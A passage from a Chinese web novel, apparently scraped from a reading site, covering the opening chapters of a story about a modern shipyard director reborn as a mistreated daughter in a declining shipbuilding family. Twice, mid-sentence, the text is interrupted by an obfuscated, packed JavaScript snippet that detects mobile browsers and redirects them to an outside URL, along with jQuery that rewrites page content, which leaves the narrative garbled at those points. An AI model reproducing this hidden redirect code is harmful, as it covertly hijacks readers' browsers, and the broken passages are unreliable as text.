《病弱废柴,但造船暴富》 1. 仇怨焚身 昭朝景元二年十一月,明州长海镇遭遇百年一遇的大雪,内河沿海港口结冰,山林积雪成灾,对于靠海吃海,主事漕运船业的明州人民来说,绝对算不上好事。 呼啸的寒风暂时吹不进有长海镇首富之称的赵家。 赵家主营造船,赵氏船业是明州首屈一指的大船厂。 此时此刻,赵家祖宅正在为刚满三岁的嫡长孙举办生辰宴,张灯结彩,热闹非凡。 正门前,缓缓停下一架紫檀马车,小厮上前恭敬地掀开车帘,就见一穿着玄色貂绒锦袍的年轻男子,正低着头读信,面如冠玉,眉目如画。发觉有人,方才转过眼,微微一笑,将信纸收回袖中。 小厮如见谪仙,一时愣住,便被早候在大门的赵家二少赵承业一把挤开。 “希从兄!” 赵承业见到来人,恭敬地扶他下车,满脸堆笑,热络道:“早听刘县令说有贵客远道而来,喜鹊连天叫,今日我侄儿生辰,特意请您来沾沾喜气,咱们今晚啊,不醉不归!” 他跟在秦希从身后,两个人一前一后往府里去。 后花园一角,两个本该出现在前厅待客的男人站立在人迹罕至的假山后,低声密语。 一位是嫡长孙的生父,赵家嫡子赵承宗,另一位则是他的胞弟,三少爷赵承邦。 “承邦,这不是儿戏。” 赵承宗眉头蹙紧,语气严厉,“我与承业共事多年,知他为人精明,但做事一向有分寸,怎么可能做出这种下作事?” 赵承邦从小见到大哥就发怵,被质疑后更是冷汗淋漓,但为了取得大哥信任,不得不硬着头皮瞎编:“大哥,人心隔肚皮,这个家唯有我与你是真正的情同手足,然而小弟愚钝,多年来只求功名,无心家业,万万比不上大哥对船业的呕心沥血,我也不想质疑二哥,可刘县令一个月例银才七两,怎么可能在赌坊一夜豪赌几千两?” 赵家三子,大少赵承宗与三少赵承邦为大房梅氏所出,而二少赵承业为二房刘氏所出。 赵承邦此番前来,就是告知赵承宗关于二少爷赵承业私下偷漏巨额公款贿赂长海知县一事。 粗略估计有几千两白银。 按理说,官商勾结一事屡见不鲜,赵家每年明里暗里打点各家的数额也不少,但长海知县的刘县令,正是二房刘氏的亲哥哥。 也就是说,赵承业此举并非为了打点赵家前途着想,而是找了个手套,把钱从赵家的口袋掏出,再从他母家刘氏的口袋放入。 偏偏赵承业与赵承宗各司其职,一个管经营一个管技术,如果不是赵承邦捅破这层窗户纸,不懂看账的赵承宗现在还被蒙在鼓里。 赵承宗目光深沉地打量着自己这不成器的弟弟,暂时看不出端倪,只好承诺:“你今日所言,事关重大,我自会查证。若真如你所说,我绝不会坐视不理。” 今年大房母家的梅氏林业由于雪灾,原材料出货量不够,而赵承业从外地采买的新原料的确掺有不少次品。 赵承宗那时信了赵承业天时不利原料涨价的托词,如今却不得不重新审视赵承业的所言所行。 赵承邦本想乘胜追击,多进谗言,却见赵承宗一抬手,打断他:“我心中有数。今日是我儿生辰,邀请秦公子来府上做客,此事不宜声张。待宴会结束后,我们再从长计议。” 赵承宗拍拍他的肩膀,转身往前厅走去,而赵承邦站在原地,双手紧紧揪住袖口,竭力维持的假笑瞬间坍塌。 过了一会,墙角的阴影里悠悠转出一个人影。 女子内着素净的浅色长裙,外披一件早已洗旧的绸缎披风,款式颜色与这个热闹喜庆的日子格格不入。 她隐没在身侧的双手清晰可见凸起的腕骨,暴露出她病态般的瘦削与柔弱,站在阴影里,远处通明灯火只浸润至她的裙摆。 “莹娘,你到底说的是不是真的!” 赵承邦见到来人,眼神闪过一丝慌乱无措,又被身为兄长的威严压制住,训斥对方:“你不会是想骗我吧?为什么大哥看起来无动于衷!” 他往前走了一步,来人的容貌便显露出来。 正是赵家三房庶出的四小姐赵莹真。 长发用一支质朴的银簪简单绾起,肤色是久不见日的苍白,菱唇染粉,鼻梁挺翘,一双杏眼水光潋滟,如宝石般嵌在线条流畅的鹅蛋脸上,若不是过于瘦削干瘪,也算得上是美人坯子。 人畜无害,软弱可欺,这就是赵莹真给人留下的最初印象。 她刚刚躲在花园的后墙,听完两兄弟的全程对话,待大哥走远,才悄然走出。 赵莹真内心暗笑赵承邦此人人云亦云,信了她那套兄友弟恭的说辞,还自以为能凭借亲弟弟的身份,说离间久经商海的老油条赵承宗和赵承邦。 但她面上却低垂着脸,冲赵承邦福身,做小伏低:“三哥是小妹的救命恩人,救命之恩本就无以为报,我又怎敢说假话?若三哥疑心我,便把我送到大哥面前对峙,小妹可以对天发誓,所言非虚……” 若老天真有用,原主恐怕也不会狼狈惨死。 前几天,原主悲愤撞柱,是赵承邦及时将她送回院子里找人医治,才捡回一条命。 赵承邦内心被恭维得飘飘然,他在大哥和二哥面前抬不起头来的自卑感,悉数从自己病弱的四妹身上找回。 赵莹真是已故的三房所出,在赵家无依无靠,赵承邦看着赵莹真这副压根活不久的孱弱身子,心里完全想不到对方能翻出什么风浪。 闻言赵承邦也只是翻着白眼讥讽一声:“你倒想得美,想在大哥面前班门弄斧,也不瞧瞧自己几斤几两。” 他才不愿让赵莹真抢了自己在大哥面前的风头。 赵莹真低头称是,劝慰道:“若是大哥因你而与二哥翻脸,岂不是为你树敌?真金白银是实打实的,二哥若是不补上窟窿,岁末对账时自会见分晓,三哥莫急。” 语罢,赵莹真掩面轻咳三声,泪水把眼眶都浸红,更添一层弱不经风。 赵承邦看着赵莹真这病怏怏的样子,一时心下痒痒,想起那日赵莹真悲愤撞柱的原因,关切道:“前几日母亲为你说的亲事,可还作数?” 赵莹真心底冷眼打量这个色坯子,摸了摸碎发掩盖下额角的伤疤,淡淡道:“小妹被三哥救下后,日夜反省,才理解大夫人的良苦用心。蒲姨娘去得早,我又不曾学过多少诗书,能嫁与明州知府家的公子,已是高攀,待我身体好些,定会亲自向大夫人道谢。” 蒲姨娘便是原主生母,三房夫人。 赵承邦见赵莹真听不懂他那言外之意,心底的痒意又烟消云散。 赵莹真本于赵府是块鸡肋,但若是用得好也有点滋味。 赵承邦自己多年来考取功名不顺,靠着母亲重金打点才成了从九品的长海巡检,见到正七品的刘县令不得不恭敬行礼,让二房刘氏母子看了好些年笑话。如今大房将她送给明州知府做人情,在关系上就能狠狠压二房一头。 赵承邦不禁庆幸那天偷闲回家,撞见得知自己要嫁给知府家臭名昭著的二公子为妾后,愤然寻死的赵莹真。 若不是他出手相救,恐怕他与大哥不仅要继续忌惮二房背后的靠山,还要担心对蒲氏念旧的父亲的降怒。 他头脑简单地想,等这门亲事一定,有了正四品知府的照拂,他们就该扬眉吐气了! “婚事既已定下,你身为闺中女子,这些日子便少在外抛头露面。”赵承邦模仿赵承宗装出大家长的模样。 他抬手指向花园后的小道,命令道:“记得从那边的小路回去,免得冲撞了府上的贵客,失了礼数!” 赵莹真顺着花园后的小径往自己的别院走,身后的喧嚣浮华随着移动隐没在寂寥的雪色之中,她始终不曾回头,也就没有看见灌木掩映的小径深处,枝叶浅浅晃动。 在宾客不至的地方,才能看出赵家祖宅掩饰不住的破败气息。 廊柱上的朱漆已经大片剥落,露出斑驳的木纹,院中的花草也无人打理,杂乱无章。池塘中的水早已干涸,池底堆积着枯枝残雪,假山上青苔蔓延,格外荒凉。 如今赵家不过是个败絮其中的华丽空壳,此时尚且能强撑着体面,却也意味着正在加速走向衰亡。 且不说二房的贪腐,大房手脚又何曾干净,三兄弟的明争暗斗,核心都在于唯恐自己拿的蛋糕不够多罢了。 而不做蛋糕只分蛋糕,蛋糕又能吃几时? 赵莹真倒想坐收渔翁之利,只不过以她此时的能力,贸然出手只会落得以卵击石的下场。 赵莹真低头摊开自己纤瘦的双手,暗叹口气——距离她穿越到五百年前的昭朝已经过去几天,虽然忙着熟悉府内环境,但仍觉如梦似幻。 前世赵莹真已活到三十五岁,刚刚全票当选华夏船舶厂的新一任厂长,成为华夏船舶厂五百年来第一位女性领导者。 穿越那天当晚,她还在庆功宴上发表演讲,慷慨激昂地宣布一系列重大战略决策,立志让华夏船舶在五年内成为全球一流的船舶制造商,美好蓝图徐徐铺展,却不曾想开车回家时,一辆失控的货车迎面撞来…… 本以为车祸已是最大不幸,可是穿越到赵家四小姐,和她同名同姓的赵莹真身上,赵莹真才知竟有人比她小时候过得更加悲惨。 原主年方二八。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163371|165069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她的母亲蒲氏本是大夫人梅氏房里一名丫鬟,因为容貌出尘被赵老爷看中,纳为妾室,颇受宠爱,自生下原主后,便被梅氏视为眼中钉肉中刺。 原主十岁那年,梅氏设下毒计,诬陷蒲氏与府中一名小厮有染,秽乱门风。 老爷赵明堂震怒之下,不分青红皂白,便命人将蒲氏拖到院中施以家法,众目睽睽之下将人乱棍打死。那血腥场面令赵莹真回忆起来都忍不住干呕。 年幼的原主跪在母亲身旁,哭得撕心裂肺,却只能眼睁睁看着母亲在血泊中咽下最后一口气,用眼神求她“忍下去”。 不久后,真相大白,各种线索直指梅氏。 然而梅氏身为正室,又是巨富梅氏林业的千金,娘家势力庞大,老爷不敢深究,仅以误会二字草草了事。梅氏被罚在佛堂抄经半月,便又恢复了往日的威风,甚至变本加厉地欺凌原主。 而原主从此成了府中最不受待见的人,连下人都敢对她冷眼相待,每日只能躲在母亲生前居住的偏院中,靠着几件旧衣裳和微薄的月例勉强过活。 按昭朝律法,除非女子迁入夫家籍贯,否则终身不得离开原籍。 原主步步忍让,甚至放弃替母报仇,只求嫁给一个普通人为妻,从此远离赵家,谁知刚满十六,便等来梅氏将她许配给明州知府家的二公子李裘为妾的噩耗。 李裘貌似恶鬼,身型臃肿,为人之恶劣,即使是闺阁女子亦有所耳闻。他仗着家中权势,横行明州,逼得不少百姓家破人亡。 更令人发指的是,李裘纳的十几房小妾之中,大多女子是被他强掠而来,入府后便如坠地狱。不少人因为不堪凌辱自缢而亡,还有一些表面是莫名“病逝”,实则是被李裘虐待致死。 也有女子家人试图告官,却被倒打一耙为“诬告”,轻则挨板子,重则流放他乡。 他人都是唯恐被李裘盯上,而梅氏蛇蝎心肠,将原主上赶着往知府送。 十日后,就是原主出嫁,成为李裘第十七房小妾的日子。 兔子急了也咬人,原主心如死灰,多年来破天荒头一次指着梅氏的鼻子痛骂:“你这歹毒妇人,害了我母亲不够,连我也不放过!你明知那李裘是个欺男霸女的恶徒,还要逼我嫁他为妾,我、我要让父亲主持公道!” 而赵明堂多年前就已做过选择,只要不是闹出人命,自然不予理会。 话音一落,梅氏身边的丫鬟便走上前,在原主膝弯狠狠踢了一脚,逼她跪下。 “赵莹真,你好大的胆子!在赵家这么多年,我不计你身上流着贱婢的污血,待你如亲子,如今我又好心替你寻了一门门当户对的亲事,你不感恩跪谢,还公然侮辱长辈,实在有辱我赵家门楣!今天就让我替老爷行家法,好好教训你这不听话的疯子!秀春,给我扇肿她的嘴!” 那横眉竖眼的秀春得令,抬起手狠狠一扇,便将原主打歪了身子,原主内心积郁的淤血顷刻间喷涌而出,洒在青白的石砖上,十分吓人。 “大夫人!求您别打我家小姐!”原主的贴身丫鬟扑过去拉秀春的腿,却被一脚踹中心窝踢开,疼得五脏六腑都移了位置。 而原主本就虚弱,接连挨了重重几掌,嘴角流血,耳鸣目眩,看到跟在自己身边多年的丫头也身负重伤,内心绝望悲恸,拼尽全力推开掌嘴的秀春,冲坐在主位不断羞辱她的梅氏怒吼:“今生我没法替母报仇,来日我做厉鬼也绝对不会放过你!” 若知我命贱如芥,愿化厉鬼报血仇! 她抱了赴死的决心,猛然朝花厅边的梁柱撞过去,磕了一额头血,顷刻间魂飞魄散,再睁开眼,便成了穿越到她身上的赵莹真。 如今,距离她嫁给李裘为妾的日子,只剩下五天。 赵莹真出身底层,中专毕业后便在社会上摸爬滚打,从来都是刀尖上讨生活,只怕是装过的孙子打过的脸比原主吃过的饭还多,她虽然扼腕原主的遭遇,但并不认同原主这样不留后路不反抗的包子性格。 因此,自赵莹真醒来,她就开始一刻不停地思索对策。 按照现在的发展,赵莹真只有几个结局,第一,应梅氏的要求嫁给罗刹李裘,在深宅大院里被玩弄致死,第二,以病体为借口拒绝嫁人,可能性很低,即使成功,在府内亦有大房恶毒折磨,众人冷眼排挤。 更何况,她知道历史进程,如今已是昭朝景元二年,不出两年,没落的赵氏船业就会被迅速崛起的华夏船业吞并。 赵氏家族破产后,全家都会死于工人讨薪的骚乱屠杀之中。 横竖都是死,但没死之前,还能放手一搏生机。 五天之内,赵莹真必须找到破局的方法。 2. 病弱庶女 转过回廊,正厅的热闹彻底听不见,偏僻狭小的院子被破旧的木门掩住,吱呀推开,赵莹真透过落灰的窗棂,能看见房间内飘摇着一盏如豆的烛火,昏暗阴冷。 一个丫鬟头顶着一个水碗,里面的水几乎结冰,在院里扎马步,见到赵莹真,一张脸冻得紫红,双腿已然战战,赵莹真擦身而过,就听对方蚊呐般的呼唤:“小姐……” 赵莹真不理不睬,径直走入后院柴房,点燃柴火用大锅灶铲雪煮水。 另一个丫鬟听到动静,从主屋施施然走出,装出吃惊的样子,作势要来帮她:“小姐,这等粗事怎么能由您来做……” 足下却扎在原地丝毫不动。 赵莹真露出一个欣慰的微笑,看着这个穿着繁复款式的丝绸袄,打扮得比她这个主子还张扬的下人,欣然启口道:“那就有劳素问,帮我把后院上层的雪都铲进锅里吧。” 她把手中的簸箕递过去,一双眼坦荡地看着对方。素问逃懒不得,不情不愿地接过。 素问和素心是与原主从小一起长大的贴身婢女,只是原主失势后,老实的素心依旧不敢僭越,而心思颇多的素问则贪下原主的例银和好处,过得反比原主滋润得多。 原主是个懦弱娇软的性子,对着两个仆人百般讨好,最后反倒让人骑到头上去。 素问也不知四小姐自哪日醒后是吃错了什么汤药,这几天对着她们两个下人大发脾气,今晚又因为没有受到大少爷的宴请,罚素心在天寒地冻的院子里扎马步。 素问是个欺软怕硬的人,以前四小姐软弱,她就能强硬起来,如今四小姐把素心罚得几乎冻死,她便有些惶惶。 想到三少爷对她的许诺……素问心想,待到这贱人嫁出去,三少爷就会去求大夫人纳她为妾,到时候,她便能在这赵府风风光光地做主子! 素问咬咬牙,拿着簸箕去铲雪。她心中有恨,铲雪自然不认真,簸箕里的雪带上不少污渍,偏偏赵莹真回头,像是知道她内心想法,拍了拍她的肩膀:“素问辛苦,这些雪先煮了去,就做你接下来三天的用水吧。” 素问一听,怕真吃了地上的污水,只能倒掉脏雪重新扫,一双手冻得肿起。 前院的素心顶着寒风泪流满面,她内心也有怨,明明她替小姐着想,才在小姐面前痛陈李裘的恶行和素问与三少爷通奸一事,小姐却以搬弄口舌降罪于她,罚她在门口的寒风里冻上数个时辰。 赵莹真走出门,就看素心一脸委屈巴巴的窝囊样。 “你可知错?”赵莹真把碗从素心头顶取下,把人扶起来。 素心双脚都站不稳,前日被踹的胸口还隐隐作痛,贴着墙靠住,内心更多的是委屈与不甘,但下意识低头哆嗦道:“奴、奴婢知错了,奴婢知错,谢、谢小姐、责罚。” 赵莹真苦笑,若是前世,她手下随便挑个人都能放出去独当一面,现在却是一个能立刻用的都没有,素问机灵,但心不诚,素心忠诚,但不聪明。 素问只是她手上的第一步棋,而素心却是她手中的第一枚子。 要能为她所用,第一步,就是惧她。 “我知道你今日受苦了。是不是很委屈?” 赵莹真把人抱进怀里取暖,抚摸素心的发髻,低低叮嘱,“你好好想想,若我遭人陷害,素问尚有人可靠,你却没有活路。如此搬弄口舌,最容易落人话柄,所以,我要你记着,第一,要能忍,第二,要能藏。” 忍到有实力反击的时刻,藏起没办法展露的野心。 素心在她怀里颤抖,冰凉的脸颊与湿冷的泪贴在赵莹真脖颈处,让人心生不忍。 “你姐姐的事,我答应你,替她报仇。” 素心的长姐,本是屠户之妻,夫妻恩爱,却遭李裘掠夺为妾,在知府仅活了半个月,便被盖着白布满身伤痕地扔进了郊外野地。 素心顿时抬起头,用惊讶的眼神看向赵莹真,然后没法抑制地抱住她。 “谢谢,谢谢小姐!” 在四小姐身边伺候多年,关系不远不近。此刻,一种同舟共济的温暖漫过风雪里的悲伤,她呜咽出声。 “小姐……我、我以后、定谨言慎行。” 无非扇个巴掌给个甜枣的套路,却也让赵莹真由衷心酸起来。 眼波流转,她问:“你可还能找到那个屠户?我需要你去做一件事……” 声音越来越低。 素问费了九牛二虎之力才烧开一锅干净的雪水,却见四小姐带着素心走进来,对她颐指气使。 “把这锅水抬到你们房间,”她转过头看向素心,趾高气昂,“冻了一晚上,去好好洗洗,别明天染了风寒,伺候我不力!” 素问没想到被诓了,气得咬牙切齿,却不得不老实背水,瞧着素心痛痛快快泡了个热水澡,她的手却冻得生疮流脓。 是夜,赵莹真从床底拿出一个巴掌大的木船模型,这是她卧床养病时无聊削的,打量半晌,又放回原处,指尖还残留一抹胭脂,在空气里弥留浅淡的花香气。 翌日卯时,天刚蒙蒙亮,赵莹真便从榻上起身,走到院子里。 一夜风雪,院中再次覆满洁白,昨日足迹了无痕。院中老槐树的枝桠早已被寒风剥去最后一片树叶,光裸的枝干在雪色中尤为苍劲。 拿着大扫把利落地扫出一片空地,赵莹真转身步入柴房,抽出一根烧火棍。棍子粗糙而结实,握在手中沉甸甸的,带着火焰炙烧过的温暖。赵莹真轻轻掂了掂,嘴角微微上扬,眼中闪过一丝狡黠的光芒。 自那日晕厥转醒,赵莹真便下定决心,把养好身体摆在第一位。 原主体弱多病,又是一个闷性子,在医疗资源匮乏的古代,这副身体肩不能挑手不能提,怕是活不长,更何况,她还指望着用这副身体扛起一个船厂的未来,更不能在创业伊始就被病痛困扰。 赵莹真站在空地上,深吸一口气,冰冷的空气涌入肺腑,下意识轻咳却令她的精神为之一振。前世的她,年少时便混迹于市井,贯与三教九流打交道,虽不是根基深厚,但那些拳脚招式却早已深深刻在她的骨子里。 她低喝一声,棍影如风,横扫而出,虽腕力不够,但仍带起一片雪花飞扬。她的动作并不华丽,但眼神坚定明亮,将招式与烧火棍融为一体。少女的身影时而如疾风骤雨,时而如流水行云,呼吸急促,黑发勾缠纷扬的落雪,仿佛天地间独此一舞。 素心醒时,双腿酸痛,她一瘸一拐走到院中,就见自家病弱小姐在槐树下舞……烧火棍? 素心目瞪口呆,愣了一会才匆匆跑回里屋拿上件旧绒披风给赵莹真披着。 “小姐,咱们回屋吧,天寒地冻的容易伤肺腑,身体要紧。”素心低声劝着,用手帕替赵莹真擦汗。 赵莹真练了有一个时辰,身体发热,知道适可而止,便随着素心回屋梳洗。 素问打着哈欠,姗姗来迟,站在一边候着。 “今日素心随我去大夫人那一趟,求她拨与些银两,让你出门替我采买出嫁用的物什。” 铜镜中,赵莹真细细打量自己那张苍白赢弱的脸,为自己淡色的菱唇抹上一点口脂,整日见病态的样子,谁都扫兴。 关于采买一事,之前向来是素问包揽,不知这些年贪了多少。 素心闻言有些嗫嚅,“小姐,奴婢恐怕不太懂,您之前都是让……” 赵莹真知道她要说什么,刚要出言,就被素问扬声打断:“四小姐,院里之前的采买都是奴婢在做,素心毛躁,出嫁前这么重要的事,交给奴婢做也放心一点。” 沉默几秒,素心素问皆以为软弱的小姐会就此妥协,谁知转瞬间,赵莹真凌厉的耳光已经重重的扇在素问的脸上! 两个丫鬟哪见过这个仗势,吓得一齐跪下! “小姐饶命!” “我还没出嫁呢,就有人已经不把主子的话当回事了……” 她越说越气,掩面假泣,素心不停求饶,素问则捂着被扇肿了的半边脸,瑟瑟发抖,不敢回话。 “既然这么想替我干活,那你今天就老老实实的哪也别去!给我把院子里的雪扫干净,若我回来见到一片雪花,便罚你彻夜跪在门外!” 赵莹真一指风雪纷飞的院子,驱逐之意明显。 “是……是。”素问趴伏在地上,手拳得死紧,内心的恨意再次攀升,一个死丫鬟生的不受宠的女儿,竟然也能骑在她头上作威作福,前日里怎么没一头撞死你? 可现实是,素问不得不膝行着跪出院门,然后匆匆到柴房拿起扫把,埋着头不敢停歇地在院中扫雪。 风雪越刮越大,扫了一层又覆一层,似是永远也扫不完,她整个人都被冻木了,一边扫一边哆嗦着关注屋里的情况,过了一个时辰,赵莹真终于带着素心出门。 她又装模作样打扫了一个时辰,把扫把一扔,跑到里屋坐在赵莹真刚坐过的梳妆镜前,学着赵莹真的样子顾影自怜,却只见那紫肿丑陋的半边脸颊。 一咬牙,她拉开抽屉偷了赵莹真的胭脂遮掩,总算看得过去,又换了那身新买的金线袄,扭身出门。 深宅大院别的道理没有,面上功夫总是特别足的。 听到赵莹真在门外求见,梅氏这次并不为难,立刻命人放行,又悄悄多叫了几个丫鬟陪在身边,一是为了彰显嫡母大度,二是那日赵莹真的狂态让她心有余悸。 梅氏的院子足有赵莹真的别院五倍大,青松掩映,曲折通幽。 随着仆人的指引,赵莹真走过蜿蜒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163372|165069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的青石板路,来到后院一处雕梁画栋的庭院。 梅氏正与一位年轻女子在亭子里品茗,身边站着五个伺候的丫鬟,不远处,四五个仆人护着一个四处乱跑的小男孩,想必就是昨日刚举办完生辰宴的小嫡孙。 赵莹真立于阶下,依礼该福身请安,她却直直跪下,膝盖清脆地磕在青石板上,惊得梅氏和齐氏一同站起。 “莹娘,你这是做什么?”梅氏没想到赵莹真突然转了性子。 赵莹真言辞恳切,俯身抢地:“莹真今日特意来向大夫人认错,这几日我日夜反省,为前几日顶撞夫人的大逆不道之罪深深忏悔。莹真愿受任何惩罚,以赎己过。” “起来吧。秀春,给小姐斟杯茶。” 当着这么多下人的面,梅氏怕落人口舌,于是放她一马。那恶仆也变了嘴脸,恭敬带赵莹真入座。 梅氏如今春风得意,大儿主管祖业,小儿有官职傍身,儿媳孝顺,孙子可爱,而赵莹真卑微匍匐,即将要给恶魔当妾,曾经被蒲氏姿容比下去的满腹嫉恨也扬眉吐气。 赵莹真抿了口茶水,又情真意切地感谢了一番梅氏替她寻的亲事,才面露难色地求梅氏给她拨钱买嫁妆。 梅氏暗笑她寒酸,为难到赵莹真面红耳赤,最后故作大方地赐了赵莹真十两银子,又让人许给素心一块出入府邸的腰牌。 赵莹真内心又给梅氏记上一笔,面上感恩戴德,把需要采买的东西当着婆媳二人的面嘱托给素心。 正巧这时,小嫡孙跌跌撞撞地跑来,要齐氏抱他。等缩进母亲怀里,他又吃着手指,好奇地朝赵莹真打量。赵莹真见状,顺手拿出怀里放着的小木船放在桌上。 “错过昨日生辰宴,今天姑姑补上给小侄的礼物。这艘木船,是儿时父亲送我的礼物,如今送给你,愿你行稳致远,一帆风顺。” 她勾着手指逗弄孩子,对方便笑着咿呀了几声,很讨喜。 长嫂齐氏是四年前过门的媳妇,但与原主打交道并不多,此时笑意盈盈地看赵莹真逗弄孩子,闲话家常。 “想来妹妹嫁过去不久,也会有一个这样可爱的孩子。”齐氏抿唇微笑,“这两天府上来了贵客,承宗不允许我们四处走动,若是妹妹有空,便来陪我们聊聊天,解解闷。” 赵莹真看着小侄儿很快把木船抓在手上,破坏欲十足地卸成几片榫卯相谐的木板,却无人指责,淡淡一笑。 齐氏又观察梅氏的脸色,亲热俏皮地拾一块梅氏爱吃的糕点放在她面前:“刚巧啊,母亲大人也能给我们传授一些驭夫之术,等妹妹到了知府家,肯定能备受宠爱。” 她嘴甜,左右都能讨着好。 梅氏淡淡掀起眼皮,眼里都是无奈与宠溺,“你呀,小丫头长不大似的!” 她转头轻瞥赵莹真,那坯子和蒲氏并不像,低头转着茶杯,不知在想些什么,一双眼倒有老爷年轻时的三分样子,内心颇为柔软。 赵莹真放下茶杯,突然想到原主的母亲蒲氏。 不知若此刻她尚还在世,是否也会有这样一副母慈子孝的画面。 “妹妹有心事?”齐氏察觉梅氏颇有破冰意愿,便率先关心起赵莹真来。 “确有一事,让我有些头疼。”赵莹真转了话题,故作天真,把早晨采买的事添油加醋说出来,“这些年,原来府里待我不薄,却不曾想下人贪墨,倒让我以为是……险些错怨了夫人。” 语罢,赵莹真红了眼眶,泪水如断线而下,齐氏也同仇敌忾,在一旁感慨人心险恶。 这种场合就是比演技的时刻。 只有梅氏啜了口茶,悠悠道:“下人就是如此,不打不屈,不打不惧,你以后只管惩治,我替你做主。” 反正不剩几天。 谁不知下人僭越就是她一手纵容? 赵莹真勾勾唇:“夫人说得是。” 小嫡孙坐在母亲怀里百无聊赖,将榫卯结构的木船拆了拼拼了又拆,然后哭闹着要祖母陪他去后花园的溪流里放船。 他是梅氏的心头肉,梅氏哪敢不从,唤人拿了一件保暖的小狐袄,亲手把小孙子包裹得球似的圆滚,三人便一同陪着他去后花园。 “承宗应当还陪着客人在前厅议事,我们去后花园玩半个时辰,不打紧。”齐氏不愿扫梅氏的兴,打了个圆场。 一行人浩浩荡荡走到后院花园,两个小厮提着水桶走在前面,池塘干涸覆雪,只能不断往溪流的河床里灌热水,软化冻土,才能伪装成流水,供孙少爷玩乐。 赵莹真走在后头,把一切看在眼里,觉得这一家人装模作样的实在是滑稽。 突然,前头一个提水小厮突然急急忙忙跑回来,跪在梅氏面前,拦住她们,“大夫人……前面……三少爷……” 3. 皇子周冀 赵承邦昨晚喝醉了酒,今日睡到巳时才醒,他一个九品芝麻官,去不去点卯都无人问津,索性懒洋洋地赖在院里。 谁知下人来传,说是四小姐院里的丫鬟素问求见。 素问……这赵府里,他睡过的丫鬟没有一百也有五十,还是想了一会,才记得有这么个和他云雨数次的小丫头。 她那身红艳艳的丝绸袄不错,勒得腰很细……这么一思量,赵承邦是有几分想见她,但前段时间母亲又插了几个仆人看着他,孤男寡女在他院里相见,算是什么事? 赵承邦唤来小厮,让素问去后花园等着,便揉着脑袋起身更衣。 他知道今日无人会去后花园,因为昨日府上的贵客留宿,女眷不得随意走动。 昨日不单单是一场生辰宴,更是一场明州商贾的“通气宴”。 这半年来,明州府的天时不利,运河迟迟不开,林场的木材长势堪忧,造船的原材料价格疯涨,连人力也因天气寒冷而愈发昂贵。 无论是上游供应原材料的梅氏林业,还是他们赵氏船业,乃至下游依赖运河和商船买卖的诸多贸易商,个个心里都像压了块巨石,喘不过气来。 唯一的转机,便是在这山重水复的节骨眼上,明州府突然来了个口气极大的京城客商,一开口便要买下一百条福船和三百条漕船。 若能吞下这笔天价订单,赵家船业几乎可以担上一句半生荣华富贵无忧。因此,大哥和二哥在前厅忙得脚不沾地,热情招待那位客商四处参观,生怕有半点怠慢。 赵承邦心里对这笔生意被赵家拿下这件事也是十拿九稳。 若论用于内河贸易的漕船,明州大小造船厂都能拿得出手,但要说能够在海上行军打仗的福船,整个明州府,也只有赵家船业和刚起步不久的华夏船业有这个工艺。 而华夏船业的当家,正是背叛他父亲赵明堂的赵家学徒申济庄。 不过,他叹着气往外走,这笔生意虽能落在赵家,只怕也和他没有半分关系。 走进后花园,就见素问背对着他,一副弱柳扶风的样子。赵承邦心头一热,四下张望,见园中无人,便悄然从背后搂住了她。 鼻尖传来素问身上的脂粉香,让赵承邦很容易联想到花园里春暖花开,流水潺潺的时节。 “好香……”他的手掌不安分地在她腰间游走,动作轻佻。 素问身子微微一颤,半推半就地轻推了他一下,随即倚在他怀中,任由他肆意妄为。 待赵承邦欺负够了,素问才捂着脸转过身,一头扎进男子胸膛里,哭得十分可怜:“三少爷……你可要帮我做主啊!” 赵承邦为人软弱不担事,却常有怜香惜玉的情怀。那只不安分的手已经在素问前胸后背打圈,口中还故作正经地出言安抚,渐入佳境,就听一声熟悉的爆喝,如惊雷般劈下:“你们在干什么!” 赵承邦浑身一僵,转过脸,就看见自己的母亲、嫂嫂和妹妹站在不远处,身后还跟着一群奴仆。 梅氏的脸色铁青,眼中怒火熊熊,仿佛不敢相信自己最宠爱的小儿子竟会在大庭广众之下与一个下贱的丫鬟纠缠不清。 齐氏一脸震惊,让下人先带着小嫡孙回去,而赵莹真则是皱着眉头,似乎不清楚发生了什么。 梅氏大步上前,目光如刀般扫过素问,随即狠狠瞪向赵承邦,厉声道:“承邦!你这是成何体统!堂堂赵家三少爷,不去官府赴你的任,竟与一个丫鬟在此厮混,传出去岂不是让人笑话!” 素问见状,脸色瞬间惨白,身子一软,直接跪倒在地,被吓得连求饶都忘了。 赵承邦不敢反驳,下意识看向素问,却刚好瞧见她肿成馒头似的丑陋侧脸,那点旖旎心思顿时无影无踪。 这时,反倒是齐氏发话,上前挽住梅氏的手臂温声安慰:“母亲莫气坏了身子。依我看,这丫鬟相貌浮肿,手上又都是冻疮,做惯了苦力,怎么可能入得了承邦的眼,想必是这小浪蹄子刻意纠缠勾引,承邦心有苦衷。” 给了赵承邦一个完美的台阶。 赵莹真默然哼笑。看来这梅氏婆媳,一唱一和,都不是省油的灯。 素问顿时瞪大了双眼,往前爬了一步,声音嘶哑地辩解道:“不是!不是这样的……” 她想起两年前的第一次,赵承邦满身酒气地压住她,让她逃脱不得,又想起前几天小姐昏迷,赵承邦来她房里,温柔地在她耳边许下承诺,说待四小姐出嫁后,便纳她为妾,给她一个名分…… 